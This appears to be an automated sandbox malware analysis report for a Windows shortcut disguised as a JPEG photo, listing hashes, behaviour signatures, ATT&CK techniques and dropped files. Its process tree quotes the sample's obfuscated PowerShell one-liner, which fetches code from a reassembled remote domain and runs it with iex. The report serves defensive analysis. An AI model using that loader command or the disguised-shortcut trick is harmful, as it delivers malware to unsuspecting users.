7678132926512fca284f22d437e8b8432caed46f5b3a33936d9a3eed88e2073b

Analysis

max time kernel
150s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/07/2026, 11:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260724_140531.jpg.lnk
Size 1KB
Sample260725-m7kthawsa1
SHA256 7678132926512fca284f22d437e8b8432caed46f5b3a33936d9a3eed88e2073b
MD5 281a65f8c7d8cb1783425e470dad9a7f
SHA1 57a1db4bdf6a668cd87f32a4098dfe8853cacc38
SHA512 2d953f8e3436498fda8115d980cdc28dfd8e0e995d1751e91fb99fd1aabe43d88d183fe3b5bf64431779708648b4f846c70ead4a95e23a379e4c52cf3e82c194
TLSH
T13121C1211BF21328DABB8B355875631187327A0ADB458F9F028081949965111F4A8F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	2556	powershell.exe
7	2556	powershell.exe
8	2556	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3680	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2556	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3680 wrote to memory of 2556	3680	cmd.exe	90
PID 2556 wrote to memory of 5124	2556	powershell.exe	91
PID 5124 wrote to memory of 2044	5124	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260724_140531.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('servphotoinstay.o','re','ne')[1,0,2] -join $YS0hafXx) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cboxd51n\cboxd51n.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5124
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDA68.tmp" "c:\Users\Admin\AppData\Local\Temp\cboxd51n\CSC646156BCF672435C9889BAC55985C5.TMP"
      4⤵
      PID:2044

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RESDA68.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESDA68.tmp
Size 1KB
SHA256 d8a0cb51656e2f34e56f66449a6c824f5172a4f63bb5bdb03db358d033f8aaa6
MD5 4c440e10b55feb02e8bd690da06affbb
SHA1 97e3724ac7755fdc4354003273f174c2cd4c63c6
SHA512 7bd4c9a217809d543e998859bd44254aea2f031901fcbc3e816f9e9cfaed317da50d361104148f0d87b5cb268859ff38553b73bb14bfb79d54b1a13607018a36
TLSH
T10C21C90553F8471EF0B3873269FA132FA275FE64EFA2575A854042282C41684EEA0F72
MD5 SHA1 SHA512 TLSH

Submit Download

cboxd51n.dll

Path C:\Users\Admin\AppData\Local\Temp\cboxd51n\cboxd51n.dll
Size 3KB
SHA256 52b4343eb17dfd521db4557785327d656f4956d54de5d289480967e711d83b2d
MD5 ddc3adcd5fbd2a6a105755093870910b
SHA1 5b72391d23110b51890a7d90949162d132f7b4fb
SHA512 1a540c11074165b170d50e6a0afd6d755fd90fe8469dda1da688798368c900f1c2a65914f860d5357b9208666d83973ef3e4894bb0241694ed546f7726e3c845
TLSH
T1AF51EA1693EC062BE4674730AEF3036727B4FC109FB2576959804268AC21B545E31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC646156BCF672435C9889BAC55985C5.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\cboxd51n\CSC646156BCF672435C9889BAC55985C5.TMP
Size 652B
SHA256 12e129a0862ca6e418a5d4673ddf5b39e09ba695cfdd7b741934a0b03e7fd89b
MD5 c88a1c0d5ae7f59e09311e91c950adf9
SHA1 eb7218180212082082429f18d21c077a765b0d5d
SHA512 1a88fab028d9b7ca29f1ffdce5c2e646ec933a32acd188c29085c90338f7be7e4214b470455d2264416acaa81a4bdcf201b8cbe151483a489d297131a5d51b13
TLSH
T107F05E0963F8020EF0F38B31BDF643A7D5B9BC64DE7297ED544003292C64A208962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

cboxd51n.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\cboxd51n\cboxd51n.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

cboxd51n.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\cboxd51n\cboxd51n.cmdline
Size 369B
SHA256 6d4f25ab2c9fe34a45d318672a7f4e8a734204ade16990d3ec4113013e839c38
MD5 b76d82e6238ad912af4e95401d9040fa
SHA1 97be3143da6f68826eabe6190930ba42abd97ae2
SHA512 a58f8d4b0bee2c546832a5d767cf5035d125a76f7150a3b84b2d78b70bb1dad4b72953e7cfcc5216f0dba66f89764b1883e7e50193ca62fc227d658606c4ac10
TLSH
T138E0C62B4266C27D05ED240B32BAD9FCC376078339803F84D4C0C4CDE12B0002BE278A
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2556-14-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

Download

memory/2556-18-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

Download

memory/2556-11-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

Download

memory/2556-12-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

Download

memory/2556-13-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

Download

memory/2556-2-0x00007FFA4AD6F000-0x00007FFA4AD70000-memory.dmp

Download

memory/2556-15-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

Download

memory/2556-16-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

Download

memory/2556-17-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

Download

memory/2556-10-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

Download

memory/2556-19-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

Download

memory/2556-9-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

Download

memory/2556-8-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

Download

memory/2556-7-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

Download

memory/2556-6-0x000001B77F560000-0x000001B77F582000-memory.dmp

Download

memory/2556-3-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

Download

memory/2556-33-0x000001B719D10000-0x000001B719D18000-memory.dmp

Download